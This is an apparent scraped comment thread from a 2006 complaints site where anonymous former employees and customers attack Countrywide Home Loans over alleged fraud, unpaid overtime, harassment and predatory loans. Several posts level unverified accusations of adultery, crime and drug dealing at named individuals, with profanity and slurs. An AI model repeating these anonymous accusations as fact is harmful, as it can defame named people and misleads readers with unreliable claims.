next steps are to the board themselves, otusiders who advise these clowns, then the press will be asking lots of q's...then the funds that own the company stock will be notified of the "risk" ebing created...all because of bianchi and fat ass fink...hahahahahahahha


Left: July 01, 2006 By: In:

bianchi cheats on his wife, has a girlfriend move to cali from AZ and has more affairs than anyone...his wife is soooo lucky to have such a fukin lunatic.




Left: July 01, 2006 By: In:

below is cali saved posts.


Left: July 01, 2006 By: In:

Left: June 18, 2006 By: In:

PHUCK KUNTRYWFRIED!!!!!!!!!!!!!!!!!

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Left: June 16, 2006 By: In:

The sleaze is in place, they are ridding themselves of the good and the good are ridding themselves of the sleaze. Just look at how Wells Fargo has regained marketshare with inferior products and processes.



Look at how the in branch underwriting at Countrywide gets the pressure from the production crew vs. how Wells seperates the two due to this pressure that creates fraud.



In house underwriting is how they get so many loans done and it is also why the fraud is so rampant at the company nationwide.



One thing is for sure, Countrywide in this state is a mess with high turnover, yet keeping area and regional management that are well known and have reputations for such rogue business practices.



How about funding loans and having the Loan Officers sign promisary documents to provide the proper loan documents at later dates!!!!

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Left: June 14, 2006 By: In:

I wonder why all the good guys ( i.e joe anderson) were let go, and all the pigs got promotions ( i.e. brian hale, dave sanbol). This once proud and mighty company is going down the toilet faster than I thought. Have you noticed chl getting rid of all the honest, hardworking dedicated, loyal employees, and are replacing them with these sleazy, little no nothings.

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Left: June 14, 2006 By: In:

Joe Anderson, the last Executive that actually is against fraud. He is gone now, the fraud will continue.



Underwriting in the branches is a recipe for fraud, pressure the underwriter, more loans get approved.



Countrywide actually funds loans and has the Loan Officers promise to bring in the proper documents at a later date...



Nothing but a recipe for fraud fraud fraud.

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Left: June 13, 2006 By: In:

CHL = Enron

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Left: June 12, 2006 By: In:

Sanbol and Hale. My, my, my, watch what happens to CHL over the next few years. I can't figure out why they are running all of the good guys (i.e. Joe Anderson) out. Hmmmmmmm, I wonder.

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Left: June 09, 2006 By: In:

Board was cleaned out, but lets not think the messages aren't coming again..



This is a criminal company with criminal management right up to the CEO and Pres.

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Left: June 08, 2006 By: In:

Phuck Kuntryfried

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Left: May 22, 2006 By: Roni In: Calabasas

I am a former employee of Countrywide as well. I want to let everybody know that they criminals there. They really are ripping off people and nobody can stop them. They are bruttal their managment is old bodies and they do what they want and the other employees could care less . They just go to work do nothing and go home , I left their because I saw so much injustice.

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Left: May 15, 2006 By: In:

Look, if you were an employee of this

criminal company, whether a salried or a commissioned employee AND you did your work

from the office or home at least 50% of the

time, you are owed time and a half in overtime for every hour worked over 40 hours in a week.



If you worked holidays, came in at night to finish things up, came in on weekends to process or underwrite or originate, you are owed the money.



This company KNOWS they are saving $1billion annually, a huge number. If you look at how other companies run their show, you will see that this company is so far ahead due to breaking major labor laws while protecting criminal management. The public is so screwed with Countrywide it is sick and the fact the SEC lets this fraud and other criminal activites go on is so like ENRON until the scum fiunally got caught.



Mozillo, absolutly the same thing here, scum and more scum.



SEND YOUR OVERTIME CLAIMS TO THE LABOR BOARD, DO NOT REQUEST IT FROM THE COMPANY BECAUSE IT IS HOW THEY HIDE THEIR CRIMINAL ACTIVITY.



NEVER APPROACH THE COMPANY WITHOUT A LAWYER< THEY WILL CRUSH YOU AND MAKE YOUR LIFE HELL.



GET A LAWYER TO FILE OVERTIME. IT WILL HIT SUPERIOR COURT SINCE IT IS NOT ARBITRATABLE< AND A CLASS ACTIONS WILL BE THE TICKET TO STOP THIS CRIMINAL ACTIVITY>



CLASS ACTIONS ARE IN THE PUBLIC, JUST AS THE ROSEMEAD SETTLEMENT WAS. $30million for 400 employees....how about 20,00 orignators who make $150+ annually? math shows the company is benefitting from this criminal activity against the Federal Min and overtime laws. In California alone the company is about to dump all over its shareholders and the fact the company might be bought is a joke when the other company will know the huge amount of litigation and criminal activity within, and known within also. Instead of firing the problems, they fir Joe Anderson, yet keep criminals like HAle and regional criminals like Bianchi. Scarey company.





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Left: May 15, 2006 By: In:

What about all the holidays we never got because they

were on the weekend or scheduled day off?

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Left: May 12, 2006 By: In:

OVETIME IS WAITING FOR

ANYONE WHO FILES IT!

THIS COMPANY SAVES

MORE THAN $1BILLION

BY NOT PAYING OVERTIME.

THE GOOD THING FOR THE

COMPANY IS THAT NO ONE

REALLY KNOWS THEY WERE

VIOLATED. THE COMPANY

IS AHEAD $1BILLION!!!!!!

BY NOT PAYING OVERTIME

PROPERLY NATIONWIDE,

SERIOUS FEDERAL LIABILITY.

COUNTRYWIDE CANNOT HIDE IN

ANY STATE AND CAN ONLY HOPE

A CLASS ACTION ISN"T TRIGGERED.



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Left: May 12, 2006 By: In:

ALL SHOULD FILE FOR OVERTIME

IF YOU WORKED AT COUNTRYWIDE



do you mean the company offers

to pay half the rate? OR are you

referring to:



Arizona does not have a minimum wage

or an overtime law. If the employer

is covered by the Fair Labor Standards

Act, the federal minimum wage and

overtime laws apply. For information

on the Federal minimum wage and

overtime laws, contact the Federal

Wage and Hour Division

at www.wagehour.dol.gov .



This does not eliminate the

federal requirements of Countrwide

and offers of half the wage is against

the law as referenced below:



Fact Sheet #23: Overtime Pay Requirements

of the FLSA:



This fact sheet provides general information concerning the application of the overtime pay provisions of the FLSA.



Characteristics

An employer who requires or permits an employee to work overtime is generally required to pay the employee premium pay for such overtime work.



Requirements

Unless specifically exempted, employees covered by the Act must receive overtime pay for hours worked in excess of 40 in a workweek at a rate not less than time and one-half their regular rates of pay. There is no limit in the Act on the number of hours employees aged 16 and older may work in any workweek. The Act does not require overtime pay for work on Saturdays, Sundays, holidays, or regular days of rest, as such.



The Act applies on a workweek basis. An employee's workweek is a fixed and regularly recurring period of 168 hours -- seven consecutive 24-hour periods. It need not coincide with the calendar week, but may begin on any day and at any hour of the day. Different workweeks may be established for different employees or groups of employees. Averaging of hours over two or more weeks is not permitted. Normally, overtime pay earned in a particular workweek must be paid on the regular pay day for the pay period in which the wages were earned.



The regular rate of pay cannot be less than the minimum wage. The regular rate includes all remuneration for employment except certain payments excluded by the Act itself. Payments which are not part of the regular rate include pay for expenses incurred on the employer's behalf, premium payments for overtime work or the true premiums paid for work on Saturdays, Sundays, and holidays, discretionary bonuses, gifts and payments in the nature of gifts on special occasions, and payments for occasional periods when no work is performed due to vacation, holidays, or illness.



Earnings may be determined on a piece-rate, salary, commission, or some other basis, but in all such cases the overtime pay due must be computed on the basis of the average hourly rate derived from such earnings. This is calculated by dividing the total pay for employment (except for the noted statutory exclusions) in any workweek by the total number of hours actually worked.



Where an employee in a single workweek works at two or more different types of work for which different straight-time rates have been established, the regular rate for that week is the weighted average of such rates. That is, the earnings from all such rates are added together and this total is then divided by the total number of hours worked at all jobs.



Where non-cash payments are made to employees in the form of goods or facilities, the reasonable cost to the employer or fair value of such goods or facilities must be included in the regular rate.



Back to Top

Typical Problems

Fixed Sum for Varying Amounts of Overtime: A lump sum paid for work performed during overtime hours without regard to the number of overtime hours worked does not qualify as an overtime premium even though the amount of money paid is equal to or greater than the sum owed on a per-hour basis. For example, no part of a flat sum of $90 to employees who work overtime on Sunday will qualify as an overtime premium, even though the employees' straight-time rate is $6.00 an hour and the employees always work less than 10 hours on Sunday. Similarly, where an agreement provides for 6 hours pay at $9.00 an hour regardless of the time actually spent for work on a job performed during overtime hours, the entire $54.00 must be included in determining the employees' regular rate.



Salary for Workweek Exceeding 40 Hours: A fixed salary for a regular workweek longer than 40 hours does not discharge FLSA statutory obligations. For example, an employee may be hired to work a 45 hour workweek for a weekly salary of $300. In this instance the regular rate is obtained by dividing the $300 straight-time salary by 45 hours, resulting in a regular rate of $6.67. The employee is then due additional overtime computed by multiplying the 5 overtime hours by one-half the regular rate of pay ($3.335 x 5 = $16.68).



Overtime Pay May Not Be Waived: The overtime requirement may not be waived by agreement between the employer and employees. An agreement that only 8 hours a day or only 40 hours a week will be counted as working time also fails the test of FLSA compliance. An announcement by the employer that no overtime work will be permitted, or that overtime work will not be paid for unless authorized in advance, also will not impair the employee's right to compensation for compensable overtime hours that are worked.



Where to Obtain Additional Information

This publication is for general information and is not to be considered in the same light as official statements of position contained in the regulations. Copies of Wage and Hour publications may be obtained by contacting the nearest office of the Wage and Hour Division listed in most telephone directories under U. S. Government, Department of Labor or by calling our toll free number 1-866-4USWAGE.









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Left: May 11, 2006 By: In:

In Arizona they pay for overtime but it's

not time and a half. You get paid half the pay of your regular hourly rate. I kid you not!

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Left: May 08, 2006 By: In:

wow, i had no idea i

could get paid for

overtime. nice the company

has 20,000 originators, are

all of them classified as exempt?

what about the processing and support

staff, I know they don't get paid overtime

here in socal. billions of $'s is at risk..

truth!

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Left: May 05, 2006 By: COUNTRYWIDECOMPLAINTS In: CALABASAS

SERIOUS NOTICE-



I AM A CURRENT EMPLOYEE AND KNOW WHAT IS MAKING THE LEGAL AREA CRINGE.



COUNTRYWIDE HAS BOUGHT PROPERTY AND LAND IN TEXAS AND FLORIDA DUE TO THE LOSE LABOR LAWS IN THOSE STATES, BUT THE MAIN REASON IS THE FACT THAT COUNTRWYDIE HAS AND WILL CONTINUE TO BE FINED AND FORCED TO SETTLE LABOR VIOLATIONS LIKE THE OVERTIME $30MIL SETTLEMENT FOR OVERTIME AND OTHER VIOLATIONS IN ROSEMEAD CALL CENTER.



NOW THE SERIOUS NATURE OF THE COMPANIES CRIMINAL ACTIVITIES AND THE POSIBLE RECOURSE:



COUNTRYWIDE IS CLOSE TO BEING HIT WITH ANOTHER OVERTIME CLASS ACTION CLAIM IN CALIFORNIA, BUT THIS TIME IT WILL COST THE COMPANY $1BIL+ BY THE TIME IT IS OVER, THE FACTS ARE AS FOLLOWS:



COUNTRYWIDE DESIGNATES ITS "HOME LOAN CONSULTANTS, BOTH EXTERNAL AND INTERNAL, AS EXEMPT, STATING TO THE GOVERNMENT THAT THESE EMPLOYEES SPEND 50% OR MORE OF THEIR TIME IN THE FEILD, WHICH IS JUST NOT THE CASE. IN FACT, OF THE ESTIMATED HOME LOAN CONSULTANTS, 15K OF THEM, WILL BE OWED TIME AND A HALF FOR EVERY HOUR WORKED OVER 40 HOURS A WEEK. THE CATCH IS THAT IT IS NOT AT THE RATE OF THE ROSEMEAD CALL CENTER EMPLOYEES WHO MAKE $10 AN HOUR, IT WILL BE AT THE RATE OF THE EHLC INDIVIDUAL INCOME....HERE IS HOW SCAREY THE MATH IS..



A COMPANY HOME LOAN CONSULTANT WHO MAKES $200K ANNUALLY AND WORKS FROM THE OFFICE MORE THAN 50% OF THE TIME WOULD BE OWED ALMOST $144 FOR EVERY OVERTIME HOUR WORKED.



TAKE THE FACT THAT ALMOST ALL HLC'S FOR THE COMPANY WORK 55+ HOURS WEEKLY FOR TWO YEARS WOULD BE OWED...104 MONTHS (2YEARS) X'S 15 HOURS

X'S $144 (TIME AND A HALF RATE)

='S

$224,640!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!



NOW MULTIPLY IT OVER 15,000 CLASS ACTION EMPLOYEES WHO WERE RIPPED OFF BY THIS COMPANY AND THE MATH WILL SHOW YOU HOW MUCH MONEY THE COMPANY MADE AT THE EXPENSE OF THE HARD WORKING LOWER EMPLOYEES...



THE COMPANIES $30MIL SETTLEMENT WAS NOTHING, THIS WILL BE CLOSE TO $1BIL IF THEY DO NOT TAKE CARE IF THESE ISSUES AND ALLOW JUST ONE EMPLOYEE TO FILE IN CALIFORNIA COURTS, THE COMPANY KNOWS THAT THIS IS NOT ARBITRATION, THIS IS LABOR LAWS THEY BREAK AS A MATTER OF OPERATIONS.



TICKING TIMEBOMB AND THE COMPANY MAKE BILLIONS OF $'S OF THE VIOLATIONS OF OVERTIME LAWS!!!!!!!!



IF YOU WERE A PAST LOAN CONSULTANT PLEASE CONTACT US A COUNTRYWIDECOMPLINTS@YAHOO.COM AND START LINING UP FOR THE OVERIMTE CRUSHING OF THESE CRIMINALS.



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Left: May 04, 2006 By: In: Lancaster, Ca

Imagine being a supervisor and NOT making your staff ASK when they needed to use the bathroom. I figured, we are all adults here, Idon't want to know when they have to take a leak..... UNACCEPTABLE, I was to question every minute they were off the phones... I had an employee that was pregnant... she asked me if she could go throw up... found out later that her previous supervisor told her she couldn't sign off for that and to puke in the trash can while the borrower is on hold. How's that for customer service, "PLEASE HOLD WHILE I VOMIT, MY BOSS WON'T LET ME USE THE REST ROOM". Nice! Imagine that my entire staff LOVED me and cried when I left... Why did I leave???? Well, Countrywide in all of their GLORY overpaid my husband who was a supervisor there as well by 3000.00 on one paycheck. He happened to check his email at home one Saturday morning (I was working my mandatory OT with no pay so I was at the office) and he called me and asked me to sign in for him and print out the email so we could get them their money back.... I got fired for trying to get them their money back... what assholes. You think they ever got their money back?????? NOPE! Their mistake not ours. Hey, twowrongs don't make a right... but I'll tell you what.. it sure was fun spending it!

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Left: May 04, 2006 By: In: Lancaster, Ca

Imagine being a supervisor and NOT making your staff ASK when they needed to use the bathroom. I figured, we are all adults here, Idon't want to know when they have to take a leak..... UNACCEPTABLE, I was to question every minute they were off the phones... I had an employee that was pregnant... she asked me if she could go throw up... found out later that her previous supervisor told her she couldn't sign off for that and to puke in the trash can while the borrower is on hold. How's that for customer service, "PLEASE HOLD WHILE I VOMIT, MY BOSS WON'T LET ME USE THE REST ROOM". Nice! Imagine that my entire staff LOVED me and cried when I left... Why did I leave???? Well, Countrywide in all of their GLORY overpaid my husband who was a supervisor there as well by 3000.00 on one paycheck. He happened to check his email at home one Saturday morning (I was working my mandatory OT with no pay so I was at the office) and he called me and asked me to sign in for him and print out the email so we could get them their money back.... I got fired for trying to get them their money back... what assholes. You think they ever got their money back?????? NOPE! Their mistake not ours. Hey, twowrongs don't make a right... but I'll tell you what.. it sure was fun spending it!

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Left: May 01, 2006 By: In:

dave sanbol (kenneth lay) brian hale (jeffrey skilling) SCARY!!!

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Left: April 29, 2006 By: In:

no doubt, look at the pigs there and you will see why the company is a wreck.



forget the consumers who are crushed and look at the employees who, like Joe Anderson, were ethical and honest, yet the company backs the pigs of the company, unfortunately the ticking timebomb at the company is with labor and how they treat employees who complain or report violations.



this company funds more fraudulent loans than any other lender in the world!!!!! and knowingly!

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Left: April 28, 2006 By: In:

so brain hale gets rid of joe anderson. i guess good, honest, straight shooting, EVPs are a threat to the pigs ( hale, sanbol, sota, chambers) that have taken over and are running CHL into the ground. Angelo should be ashamed for the reputation he is leaving behind at CHL. It was once a proud company...now just another enron. fools.

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Left: April 17, 2006 By: Fed up Employee In: Ventura County , California

As a former employee of Crappywide I wish I would have came across this site before accepting a job with the worst mortgage company in the world! The management is incompitent and the employees who acctually care for the customers are systematicly removed from the company. The process of becoming one of these managers involves either sleeping with another manager or being the best friend of their spouses! Micro managing is putting it mildly! Our manager went to the extent of trying to get two way mirrors installed on his doors so that he could watch employees with out him being seen!

We were told that we were not to turn around in our seats to even ask a fellow co-worker a question! I experienced a lot of shady things when working customer service. The corporate credit card was used to buy things not related to CHL in ANYWAY. Administrative assistants were sent to go buy shoes and clothing while on the payroll! Sexual harassment runs rampant and I had several women I worked with who were aproached by my manager for sexual favors outside of work (so that it would not be traceable and it would come down to their word against his) many tried to leave the dept. so that the constant badgering and mistreatment (if you said no) would stop, unfortunately your manager must approve that transfer! I and most of my co-workers were subject to mandatory overtime of which you were paid but... you worked 10+ hours a day and were required to work saturdays as well. I began seeing my co-workers more than my own family. Then the last straw was when a good family friend had passed away and I was told I could not attend the funeral because this was not an immediate family member! After this incident I found it impossible to work with a manager staring out their window at you and calling your team leader if you turned your head to answer someone's question! At the advice of my doctor I had to be medicated to make it through a day at work! Getting fired was the best thing that ever happened to me and to anyone looking to start a carrier with Countrywide I would have to say "How much do you value your beliefs and time with your loved ones?" And as for Mozillo! That man knows EXACTLY what is going on with in his company and he does NOTHING!

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Left: April 12, 2006 By: In:

Enron ? S&L crisis ? CHL ? Hmmmmmmmm

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Left: April 04, 2006 By: jim In: simi

Thanks to the ONE that posted lawfirms to read and then CONTACT about wrongdoings by CW.

NOW, I have hope.

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Left: March 20, 2006 By: In:

let's eliminate countrywide and break it up into 4 competing lenders



check out their lousy rates 7.0% 30 yr fixed 0 points



http://www.countrywide.com/refinance/default.aspx?

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Left: March 17, 2006 By: In:

http://www.ripoffreport.com/



search: countrywide



You will be appalled

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Left: March 16, 2006 By: In:

Well Countrywide sure did get their hands slammed in the cash register for running thier sweatshop call centers.



They thought they could get away with it because no empolyee can sue the company.

You sign the arbitration form before you ever get to fill out a job employment application.



Well that didn't save their greedly fat asses did it when a class action lawsuit got 'em.



They still think they are so big that they are above the law operating unlicensed in States that require it and violating RESPA and Fair Housing laws left and right.

Countrywide is a predatory lender that gets retired people into option arms under the guise of payment releif and they flip their own loans they manage for their investors. What kind of crooked mortgage company solicits borrowers that have had their loan less then 6 months?

No one can do what Countrywide can. haha

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Left: March 15, 2006 By: In:

well, we hear it all...we are full of shit? you must be an manager from countrywide because noone else would post on such a site....



obviously this is more proof of what is going on at countrywide, the managers are never wrong always the employees according to this confused poster...



the managemenet and upper management of this company is as crooked as it comes.



I run a realtor group at of OC and I can say that the reputation of the Countrywide Management in San Diego is some of the worst. The people who came from North American Mortgage have polluted the area and the company will eventually rid themselves of such utter errogance.



In northern cali the managment is far from the cries of the call centers that countrywide settled when they realaized they were in big trouble with that one and much more that was coming out.



These are bad bad unregulated people..



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Left: March 15, 2006 By: In:

I think you all are full of shit.



to have a problem with your management, you're not doing something right.

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Left: March 15, 2006 By: In:

I think you all are full of shit.



to have a problem with your management, you're not doing something right.

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Left: March 14, 2006 By: Rather not say In: Lancaster

Todd Graves cheats on his wife with his counselors and team leaders... how do I know... just trust me on this one... he is a liar and a cheat and a scum of a human. What a waste of skin.

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Left: March 12, 2006 By: In:

Save yourself the misery and just dont work there.

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Left: March 11, 2006 By: In:

Harry Belafonte, Al Sharpton and Jessie Jackson are big cry babies!!!!

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Left: March 11, 2006 By: In:

I don't know. But Martha Stewart has big hairy balls!

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Left: March 10, 2006 By: Anonymous In: Calabasas, CA

Former Employee: I worked at countrywide as a SLAVE! I had to ask to go to the bathroom. I had to ask permission to take a lunch or a break. Which btw I only got about 5 lunches in the two and a half months that I worked there. I never got a break EVER! My boss Michael Schloessman constantly yelled and screamed at me. I worked on the trading floor and it was so noisy. Not once did one person say thank you to me for anything. The one day I decided to take a lunch break and was gone for 20 minutes I returned to screaming and yelling because I wasn't there to dial a phone number for Mike. What do his fingers not work? IS he disabled? Everyone there is hung over, or on drugs! I personally know several people who work there who sell drugs and use drugs on a daily basis. Most are on MySpace. Nobody cares about their customers. They laugh and talk smack about all the customers. They work all employees like slaves and mistreat them. DO NOT WORK THERE DO NOT GET A LOAN WITH COUNTRYWIDE!

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Left: February 26, 2006 By: In:

Southern California employees who have been violated please contact us at countrywidecomplaints@yahoo.com

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Left: February 25, 2006 By: In:

scroll over to click for adding comments

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Left: February 25, 2006 By: In:

What's-up with the bad formating?

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Left: February 14, 2006 By: M.E.R. In: Burbank

I worked for CHL in the HELOC collections department in Simi Valley for a year. I wanted to express my own concerns about the company that like to pat itself on the back. I may have to break this up into sections, but let me tell you some things I saw. First, Training. This may not be the same for everyone, but I went through about 2 weeks of training in basic mortgage banking principles, but: there was not much depth to the training, just enough to get you ready to swim with the sharks, and when I went through, you were not grouped with, say, people who you may be working on the same types of things with, it was all one hodge-podge (to get you on the phones quickly). Once training was complete, you went to your department, there you would sit down with "managers" (usually people who had anywhere from 1-10 years experience, or people who had said and done the right things, which meant high numbers (more on that later)) and you trained with them, watching them take call, and learning how the screens worked. Once your manage thought you were ready, they put you "on the floor", which meant you would begin taking live calls. Now if you'd notices I have not mentioned training much, that's because many departments in Countrywide are not designed for proper training, but for SPEED. That's right, folks..there are very, very few people in countrywide who are honestly concerned about your load, they are only concerned on keeping their numbers high enough for promotions and raises.See, in Collections, and in a few other departments you are given a number and type of loans to call on, now, they be brand new, or the payment may not have posted, but to the department, it's a past due loan and needs to be called on, so you can imagine how many times I was cussed out by homeowners aksing why am I calling them the day after the loans was due! (there's that excellent customer service you hear so much about..) The biggest problem with CHL is it's lack of any reasonable communication within the company because it's too big..and because you have a lack of real training because the company's getting bigger and swallowing smaller loan companies, you get the types of horror stories I've been seeing on this site..a lot of people there just don't know how to take care of a loan properly, and they just move it from person to person. I can tell you of story after story of call being transferred to our department only to hear someone not solve it and pass it back, mainly because of the numbers. Before I finish this posting (I may be back later to post more) let me tell you about the numbers, it may explain the bad service you get. now, I can't speak for every department, but in collections, based on your experience, to get raises and bonuses, you had to go through a certain amount of call in a period, and have high evaluations via the managers on your "servicing" of the call, which did NOT necessarily mean did you solve the homeowners queries,just did you follow CHL procedures. So, when you speak to a representative there, in their mind, they are not thinking "how may I help you?" they are thinking: how long? and how quickly can I give this person an answer that will get them off the line? Anyway, I could rant on a bit more, but I'll end it here and see what feedback comes in...

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Left: February 13, 2006 By: In:

The Federal Trade Commission really needs to investigate Countrywide.

Once they get a hold of Countrywide the Ameriquest Settlement will look

like peanuts.



#1. Call Countrywide to inquire about interest rates.

Go ahead call the 800 # or a retail branch.



Sure they will quote loan interest rates and loan programs

to you all day long.



What they Never do is quote to you the ANNUAL PERCENTAGE RATE

when quoting rates and fees to the customer.

This is in violation of Reg. Z



Their antiquated software *advantedge* does not have the ability

to blend the rate and closing cost into an APR to get

the true cost of obtaining the financing.



Sure a 5 year ARM at 6.25% might sound good to you but when they dont

disclose that the real APR is 7.12 that is a violation of the law.



FTC you need to really look into Countrywides numerous

compliance violations including not sending disclosure packages

to borrowers within the 72 hour time limit.



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Left: February 13, 2006 By: Dont Be Fooled In: City of Industry

If you wait to pay your Countrywide payment today the 13th do not drop it off at a branch.

They just mail it in for you and you will get a late payment fee charged even though Countrywide technically has your payment.



Just another way Countrywide Home Loan SUCKS!

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Left: February 10, 2006 By: In:

COUNTRYWIDE is NOT an E.O.E. and does NOT conduct business in a drug-free work environment.

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Left: February 10, 2006 By: i hate cw In: so cal

right on! for the one thats going to pay on the 13th from here on out, everyone else should do the same lets bri ng down bad buisness!

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Left: February 10, 2006 By: Felix Liamson In: San Francisco

I got a loan through Countrywide last year and I just want to say that everyone who works for them are all liars and thieves. They told me there were not going to be any points and fees and I discovered that I was paying over $22,000 in points & junk fees and my rate was supposed to be fixed and it just kept on going up until I could not afford to pay and they tried to foreclose on me. When I tried to refinance, they told me I had to pay a $20,000 prepayment penalty just to get out from under the loan. It was a nightmare and if you are applying for a loan with Countrywide right now, I urge to stop and apply somewhere else or you'll be very very sorry. I have since refinanced out of that horrible loan with a reputable bank like Washington Mutual and I'll never get misled by the scum at Countrywide again.

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Left: February 09, 2006 By: In:

the corporate culture written by joe anderson has been smothered by the layers, and layers of blubbber from brian "hope to have a cardiac soon" hale. this piece-o-shit has totally screwed the CHL name/reputation up. just like he did to wells fargo. however, wells got smart and FIRED his brand of lard. it would seem that as angelo approaches retirement, he would at least like to leave a living legacy that would honor loeb and himself. too bad he let theives/crooks (hale,sanbol, sota, hanson, rodgers) slither in on the former great name of countrywide. as the scuzz slides from the s&l's and insurance, they now have set their greedy eyes onto mortgage banking. god help us !

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Left: February 08, 2006 By: In:

Countrywide's executives defy logic like when Spock said, "the good of the many outweighs the good of the few, or the one."



Lazy Countrywide executives even defy their own fundamental behaviors asserted in their own corporate culture statement. Anyone who has worked there knows,

THEY ARE NOT

Open and Honest

Customer Focused

Advocate of Ideas

Continuously Improving

Committed

Adaptable

Visionary

Driver

Professional

Loyal

Solutions Oriented



These are nice ideals but CW only gives lip service to while fat lazy executives drop the hammer and harass workers to work harder with less rewards.



Testimony of customers on this website attest to the fact that their CW culture is a bunch of corporate crap.



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Left: February 07, 2006 By: In:

BOYCOTT HOME DEPOT!!!

February 3, 2006



The Home Depot(R), the world's largest home improvement retailer, today announced the appointment of Angelo Mozilo, 67, chairman and chief executive officer of Countrywide Financial Corporation, to the company's board of directors.

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Left: February 07, 2006 By: In:

Lara - Do you have federal flood Insurance?

Also if you pay online for 3 months they quit the paper statements. Go online and check your account.

COUNTRYWIDE SERVICING SUCKS.

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Left: February 07, 2006 By: Lara In: Grover Beach

My loan was sold to Countrywide in August '05 and since then we have been harrassed about not having flood insurance. Our insurance co. has called, faxed, e-mailed and hand mailed copies of our flood policy to no avail. Now they're trying to add it to our payment. After talking to 7 diff. people in one call my husband got them to remove it from our bill. After finding this site (I was going to e-mail them about those stupid phone calls we get EVERY month for our payment which is never late) I'm now worried they're going to screw us on this. Also, we didn't get an envelope this mo. to send in our payment so I'll have to wait and see if it gets processed correctly. Thank god we can refinance, and we're going to right away.

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Left: February 05, 2006 By: patty k In: oakland ca

My problem is NOTHING like others have. I'm LUCKY!

I have only had my loan for 5 months. I pay online and pay extra into the principal. If I haven't paid them by the 4th, I start getting phone calls and messages. I worked Friday(payday) Sat and today-Sunday. I was stuck at work from 0645 am to 8:00pm all three nights. I figure I'd pay my bills Monday,because I'm off from work!Tonight I have two urgent messages to call them. Then I remembered ,they call for payment if you haven't paid by the 4th of the month. Yes, they admit you have 14 days. I pay online and pay extra principal. I will be stuck with them for two years (or pay penalty) but I will find someone else-believe me! I will pay them online and mark payment for the 13th of the month from here on out.

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Left: February 05, 2006 By: In:

COUNTRYWIDE TO END Pensions for Those in Worker Cubicles, But NOT Those in Executive Suites.



Countrywide Financial Corp. is phasing out its pension plan to save money, and employees hired since Jan. 1 won't be eligible for lifetime income in retirement.



But new Countrywide executives still qualify for a special executive pension -- one that will pay Chief Executive Angelo Mozilo as much as $3 million a year for life.



Others view it as a double standard. ``These executives earn what an entire neighborhood of typical families make collectively,'' said Karen Friedman, policy director at the Pension Rights Center, a nonprofit advocacy group. ``They don't need this money for retirement. These plans are just outrageous.''



Patrick McGurn, of Institutional Shareholder Services, questioned . . . Because the plans have not been well disclosed in the past, he said



``I think you are creating potential problems with productivity, morale and all sorts of other issues,'' said McGurn, whose group provides research for major shareholders, such as mutual funds. ``If companies are adopting one set of rules for the senior executives and another for the rank and file, that sort of disparate treatment is going to emerge in other areas. It's got to affect how workers view their employer. It clearly sends a message to the worker about what their value is to the company relative to the executive.''



*****

It's the just the same old song and dance



COUNTRYWIDE CULTURE IS JUST A BUNCH OF BULLSHIT FOR THE ELITE.



COUNTRYWIDE IS NOT THE EMPLOYER OF CHOICE.



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Left: February 05, 2006 By: In:

brian hale is a HOG that needs to go to the slaughter house.

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Left: February 04, 2006 By: In:

wow angelo was a 14 yr old mortgage broker HAHAHA

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Left: February 04, 2006 By: In:

Countrywide Financial Corp., the biggest U.S. mortgage lender, said profit from mortgage banking this year could be between $1.85 billion and $2.55 billion, compared with $2.4 billion in 2005. The firm may fire brokers this year, CEO Angelo Mozilo said Wednesday.



"If you hit the midpoint of those projections in terms of market size, there has to be an adjustment in terms of headcount" Mozilo said in an interview.

*********************



There it is from the horses mouth. Housing bubble means employees get the axe. DISPOSABLE

*PEOPLE ARE OUR GREATEST ASSETS* ALL LIES, LIES, LIES

*********************



Brutal competition in the shrinking home loan market has caused "irresponsible players" such as Ameriquest Capital Corp. and New Century Financial Corp. to spoil mortgage banking profits, the chairman of No. 1 home lender Countrywide Financial Corp. said Tuesday.



Announcing earnings that disappointed Wall Street, Countrywide founder Angelo R. Mozilo singled out the two Orange County-based competitors, blaming "the Ameriquests and New Centuries of the world" for pricing loans too low in a bid to retain market share as business slows.



"I've been doing this for 53 years, and I've never seen that situation sustained," Mozilo, 67, said during a conference call with securities analysts. "Eventually they gag on it."



But with its quarterly mortgage banking profit down 80% from 2004, Countrywide too may have to cut jobs in the near term, Mozilo told analysts Tuesday.





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Left: February 04, 2006 By: In:

if the top execs don't clean house down here in socal, the Bianchi's of the world will have them in litigation for years and years from the socal management very rogue actions they live by.

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Left: February 03, 2006 By: In:

NO ONE CAN LIE LIKE COUNTRYWIDE CAN



Homeowners need cash? Get a No-Closing Cost Home Equity loan only from Countrywide. Thats right, no application fee, no appraisal fee, no title fee, no underwriting fee, NO CLOSING COSTS.



NEVEVERMIND THAT ITS A VARIABLE RATE ARM (Prime Rate+) LOAN.



NEVERMIND THAT IF YOU PREPAY THE LOAN BEFORE THE TAKEOUT AMOUNT PERIOD ENDS THAT YOU END UP PAYING THE CLOSING COSTS (PREPAYMENT PENALTY).



NEVERMIND THAT YOU PAY THE CLOSING COSTS THROUGH AN ABOVE MARKET VARIABLE RATE HOME EQUITY LINE OF CREDIT. THIS IS NOT A FIXED RATE SECOND MORTGAGE.



No one can screw you like Countrywide can.





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Left: February 03, 2006 By: In:

countrywide is the borg - they are to be resisted at all fronts

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Left: February 03, 2006 By: jake In: cali

Improper Home Charges



Read then File a complaint



www.zimmreed.com





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Left: February 03, 2006 By: In:

Angelo - cut Brian Hale's salary 54%

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Left: February 03, 2006 By: In:

brian hale is such big, fat, lard ass turd he clogs the toilet when people try to flush the piece of shit.

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Left: February 03, 2006 By: Blowing Steam In: Fresno

This is in response to my 1/28 comment. Sorry, so late. By the way, I love this website. It's been almost therapuetic to me. Countrywide doesn't care about customers or quality. They let the entire shithole get run by cocksucking pions who run the place like a fucking mob instead of a professional business (It must be their Italian roots). I should know, I've been there and trust me Countrywide is not a company that is afraid to ruin lives. Although there are some decent people working there, they are far outnumbered and subdued by the rest of the assholes. I'm not going to release names but I can offer some tips on how to fight off this predatory lender. First of all, if your loan is with Countrywide then you need to refinance and have them place a term, in your contract, that stipulates that your loan will NEVER be sold, transferred, or serviced by Countryide. We must ban all Countrywide and CHL affiliated products and services. We can also hit their wholesale lending division, by having independant brokers and mortgage companies cut off Countrywide from their list of lenders.

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Left: February 02, 2006 By: were did all the money go! In: so. cal

